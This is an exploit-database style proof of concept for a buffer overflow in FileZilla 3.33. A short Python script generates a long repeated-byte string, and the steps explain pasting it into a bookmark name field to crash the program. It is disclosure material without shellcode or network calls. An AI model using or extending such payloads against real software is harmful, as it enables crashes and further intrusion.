# Exploit Title: FileZilla 3.33 Buffer-Overflow (PoC)
# Author: Kağan Çapar
# Discovery Date: 2018-10-10
# Software Link: https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/filezilla/3.33.0-1/filezilla_3.33.0-1.debian.tar.xz
# Vendor Homepage : https://filezilla-project.org
# Tested Version: 3.33
# Tested on OS: Kali Linux 2018.3 x64
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Open new terminal and write "filezilla"
# Go to Bookmarks and Add bookmark or Ctrl + B
# Now paste the contents of "exploit.txt" into the fields. "Name:"
# Click "OK" after Click "Bookmarks" you will see a crash on terminal.
#!/usr/bin/python
buffer = "\x50\x48\x52" * 1300
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
